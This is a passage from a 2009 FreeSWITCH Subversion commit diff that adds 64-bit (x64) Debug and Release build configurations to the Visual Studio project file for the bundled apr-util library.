 					AdditionalIncludeDirectories="..\..\apr\include"
 				/>
 			</FileConfiguration>
+			<FileConfiguration
+				Name="Release|x64"
+				>
+				<Tool
+					Name="VCResourceCompilerTool"
+					AdditionalIncludeDirectories="..\..\apr\include"
+				/>
+			</FileConfiguration>
 		</File>
 	</Files>
 	<Globals>

Property changes: freeswitch/branches/seven/libs/win32/apr-util


Name: svn:ignore
   - Debug
Release
*.ncb
*.user
*.bak
libd
libr
LibD
LibR
   + Debug
Release
*.ncb
*.user
*.bak
libd
libr
LibD
LibR
x64

Modified: freeswitch/branches/seven/libs/win32/apr-util/libaprutil.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/apr-util/libaprutil.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/apr-util/libaprutil.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -114,6 +117,102 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if not exist &quot;$(ProjectDir)..\..\include\&quot; md  &quot;$(ProjectDir)..\..\include\&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\..\apr-util\include\apr_ldap.h&quot; type &quot;$(ProjectDir)..\..\apr-util\include\apr_ldap.hw&quot; &gt; &quot;$(ProjectDir)..\..\apr-util\include\apr_ldap.h&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\..\apr-util\include\apu.h&quot; type &quot;$(ProjectDir)..\..\apr-util\include\apu.hw&quot; &gt; &quot;$(ProjectDir)..\..\apr-util\include\apu.h&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\..\apr-util\include\apu_config.h&quot; type &quot;$(ProjectDir)..\..\apr-util\include\apu_config.hw&quot; &gt; &quot;$(ProjectDir)..\..\apr-util\include\apu_config.h&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\..\apr-util\include\apu_select_dbm.h&quot; type &quot;$(ProjectDir)..\..\apr-util\include\apu_select_dbm.hw&quot; &gt; &quot;$(ProjectDir)..\..\apr-util\include\apu_select_dbm.h&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\..\apr-util\include\apu_want.h&quot; type &quot;$(ProjectDir)..\..\apr-util\include\apu_want.hw&quot; &gt; &quot;$(ProjectDir)..\..\apr-util\include\apu_want.h&quot;&#x0D;&#x0A;xcopy &quot;$(ProjectDir)..\..\apr-util\include\*.h&quot; &quot;$(ProjectDir)..\..\include\&quot; /C /D /Y&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="_DEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\Debug/libaprutil.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalOptions="/EHsc "
+				Optimization="0"
+				AdditionalIncludeDirectories="&quot;..\..\apr-util\include&quot;;&quot;..\..\apr-util\include/private&quot;;&quot;..\..\apr-util\dbm/sdbm&quot;;&quot;..\..\apr-iconv-1.1.1\include&quot;;..\..\apr\include"
+				PreprocessorDefinitions="_DEBUG;APU_DECLARE_EXPORT;APU_USE_SDBM;WIN32;_WINDOWS"
+				RuntimeLibrary="3"
+				PrecompiledHeaderFile=".\Debug/libaprutil.pch"
+				ProgramDataBaseFileName="$(IntDir)\libaprutil_src"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG,APU_VERSION_ONLY"
+				Culture="1033"
+				AdditionalIncludeDirectories="..\..\apr-util\include,..\..\apr-util\include/private,..\..\apr-util\dbm/sdbm,..\..\apr-iconv-1.1.1\include,..\..\apr-1.2.7\include"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib mswsock.lib wldap32.lib"
+				OutputFile="$(OutDir)\$(ProjectName).dll"
+				LinkIncremental="1"
+				SuppressStartupBanner="true"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile=".\Debug/libaprutil-1.pdb"
+				SubSystem="2"
+				BaseAddress="0x6EE60000"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(TargetDir)libaprutil-1.lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Debug/libaprutil.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="&#x0D;&#x0A;"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory="$(SolutionDir)Release"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -214,6 +313,105 @@
 				CommandLine="&#x0D;&#x0A;"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if not exist &quot;$(ProjectDir)..\..\include\&quot; md  &quot;$(ProjectDir)..\..\include\&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\..\apr-util\include\apr_ldap.h&quot; type &quot;$(ProjectDir)..\..\apr-util\include\apr_ldap.hw&quot; &gt; &quot;$(ProjectDir)..\..\apr-util\include\apr_ldap.h&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\..\apr-util\include\apu.h&quot; type &quot;$(ProjectDir)..\..\apr-util\include\apu.hw&quot; &gt; &quot;$(ProjectDir)..\..\apr-util\include\apu.h&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\..\apr-util\include\apu_config.h&quot; type &quot;$(ProjectDir)..\..\apr-util\include\apu_config.hw&quot; &gt; &quot;$(ProjectDir)..\..\apr-util\include\apu_config.h&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\..\apr-util\include\apu_select_dbm.h&quot; type &quot;$(ProjectDir)..\..\apr-util\include\apu_select_dbm.hw&quot; &gt; &quot;$(ProjectDir)..\..\apr-util\include\apu_select_dbm.h&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\..\apr-util\include\apu_want.h&quot; type &quot;$(ProjectDir)..\..\apr-util\include\apu_want.hw&quot; &gt; &quot;$(ProjectDir)..\..\apr-util\include\apu_want.h&quot;&#x0D;&#x0A;xcopy &quot;$(ProjectDir)..\..\apr-util\include\*.h&quot; &quot;$(ProjectDir)..\..\include\&quot; /C /D /Y&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="NDEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\Release/libaprutil.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="&quot;..\..\apr-util\include&quot;;&quot;..\..\apr-util\include/private&quot;;&quot;..\..\apr-util\dbm/sdbm&quot;;&quot;..\..\apr-iconv-1.1.1\include&quot;;..\..\apr\include"
+				PreprocessorDefinitions="NDEBUG;APU_DECLARE_EXPORT;APU_USE_SDBM;WIN32;_WINDOWS"
+				StringPooling="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile=".\Release/libaprutil.pch"
+				ProgramDataBaseFileName="$(IntDir)\libaprutil_src"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG,APU_VERSION_ONLY"
+				Culture="1033"
+				AdditionalIncludeDirectories="..\..\apr-util\include,..\..\apr-util\include/private,..\..\apr-util\dbm/sdbm,..\..\apr-iconv-1.1.1\include,..\..\apr-1.2.7\include"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib mswsock.lib wldap32.lib"
+				OutputFile="$(OutDir)\$(ProjectName).dll"
+				LinkIncremental="1"
+				SuppressStartupBanner="true"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile=".\Release/libaprutil-1.pdb"
+				SubSystem="2"
+				OptimizeReferences="2"
+				BaseAddress="0x6EE60000"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(TargetDir)libaprutil-1.lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Release/libaprutil.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="&#x0D;&#x0A;"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -238,6 +436,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -247,6 +455,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\buckets\apr_buckets.c"
@@ -262,6 +480,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -271,6 +499,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\buckets\apr_buckets_alloc.c"
@@ -286,6 +524,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -295,6 +543,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\buckets\apr_buckets_eos.c"
@@ -310,6 +568,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -319,6 +587,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\buckets\apr_buckets_file.c"
@@ -334,6 +612,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -343,6 +631,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\buckets\apr_buckets_flush.c"
@@ -358,6 +656,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -367,6 +675,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\buckets\apr_buckets_heap.c"
@@ -382,6 +700,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -391,6 +719,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\buckets\apr_buckets_mmap.c"
@@ -406,6 +744,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -415,6 +763,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\buckets\apr_buckets_pipe.c"
@@ -430,6 +788,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -439,6 +807,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\buckets\apr_buckets_pool.c"
@@ -454,6 +832,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -463,6 +851,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\buckets\apr_buckets_refcount.c"
@@ -478,6 +876,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -487,6 +895,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\buckets\apr_buckets_simple.c"
@@ -502,6 +920,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -511,6 +939,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\buckets\apr_buckets_socket.c"
@@ -526,6 +964,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -535,6 +983,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 			</Filter>
 			<Filter
@@ -553,6 +1011,15 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						>
 						<Tool
@@ -561,6 +1028,15 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\crypto\apr_md5.c"
@@ -575,6 +1051,15 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						>
 						<Tool
@@ -583,6 +1068,15 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\crypto\apr_sha1.c"
@@ -597,6 +1091,15 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						>
 						<Tool
@@ -605,6 +1108,15 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\crypto\getuuid.c"
@@ -619,6 +1131,15 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						>
 						<Tool
@@ -627,6 +1148,15 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\crypto\uuid.c"
@@ -641,6 +1171,15 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						>
 						<Tool
@@ -649,6 +1188,15 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 			</Filter>
 			<Filter
@@ -668,6 +1216,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -677,6 +1235,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\dbd\apr_dbd_pgsql.c"
@@ -692,6 +1260,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -701,6 +1279,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\dbd\apr_dbd_sqlite2.c"
@@ -716,6 +1304,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -725,6 +1323,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\dbd\apr_dbd_sqlite3.c"
@@ -740,6 +1348,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -749,6 +1367,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 			</Filter>
 			<Filter
@@ -768,6 +1396,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -777,6 +1415,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\dbm\apr_dbm_berkeleydb.c"
@@ -792,6 +1440,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -801,6 +1459,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\dbm\apr_dbm_gdbm.c"
@@ -816,6 +1484,16 @@
 						/>
